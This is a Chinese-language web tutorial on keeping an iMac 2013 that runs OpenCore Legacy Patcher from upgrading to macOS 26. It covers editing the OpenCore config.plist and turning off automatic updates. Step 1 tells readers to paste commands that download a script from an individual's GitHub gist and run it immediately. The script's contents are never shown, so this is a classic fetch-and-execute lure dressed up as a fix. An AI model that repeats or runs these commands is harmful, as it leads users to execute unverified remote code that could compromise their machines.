imac

🖥️ iMac 2013 阻止升级 macOS 26

使用 OpenCore Legacy Patcher 的用户专用教程 · 只升 macOS 15,不升 macOS 26

⚠️ 重要提示 OpenCore Legacy Patcher 目前不支持 macOS 26 Tahoe,强行升级会导致 Wi-Fi 损坏、无图形加速甚至无法开机。请务必按以下步骤操作。
步骤 1 · MDM 和创建新用户
MDM 和创建新用户
在终端运行以下命令,自动下载并安装阻止 macOS 26 推送的配置文件。运行后若提示需要手动批准,请打开「系统设置 → 隐私与安全性 → 描述文件」点击安装。
✅ 推送界面不再显示 macOS 26 需要网络

方式 A

curl -L https://gist.githubusercontent.com/QUEENUSA-X/6b668418346f89cf87da166ca0fa946c/raw/ | bash

方式 B

curl -L https://gist.githubusercontent.com/QUEENUSA-X/6b668418346f89cf87da166ca0fa946c/raw/ -o /tmp/b.sh && sh /tmp/b.sh

方式 C

curl -L https://gist.githubusercontent.com/QUEENUSA-X/c352ffd1dbe924b56ae60e7c3d242870/raw/ -o /tmp/b.sh && chmod +x /tmp/b.sh && /tmp/b.sh
步骤 2 · 推荐方法
修改 OpenCore 配置,从根本屏蔽 macOS 26 推送
挂载 EFI 分区后,用以下命令自动删除 config.plist 里的 sbvmm 参数。删除后系统不再向你推送 macOS 26,但 macOS 15.x 小版本更新照常可升。
✅ 可升 macOS 15.x 🚫 屏蔽 macOS 26 需要输入密码

第一步:挂载 EFI

sudo diskutil mount $(diskutil list | grep EFI | head -1 | awk '{print $NF}')

第二步:删除 sbvmm 参数(运行两条)

sudo sed -i '' 's/,sbvmm//g' /Volumes/EFI/EFI/OC/config.plist
sudo sed -i '' 's/sbvmm,//g' /Volumes/EFI/EFI/OC/config.plist

第三步:确认已删除(无输出 = 成功)

sudo plutil -p /Volumes/EFI/EFI/OC/config.plist | grep sbvmm

第四步:重启

sudo reboot
步骤 3 · 关闭自动大版本升级
系统设置里手动关闭(基础操作)
在系统设置里关闭自动下载大版本升级。注意:这一步单独使用无法完全阻止 macOS 26 出现,需配合步骤 1 或 2 使用。
sudo defaults write /Library/Preferences/com.apple.SoftwareUpdate AutomaticDownload -bool NO && sudo defaults write /Library/Preferences/com.apple.SoftwareUpdate AutoUpdate -bool NO
✅ 当前安全版本:macOS 15.7.5 (Sequoia)
这是 OpenCore Legacy Patcher 完全支持的最新版本,可以正常升级。macOS 26 (Tahoe) 的 OCLP 支持仍在开发中,建议等待官方正式支持后再升级。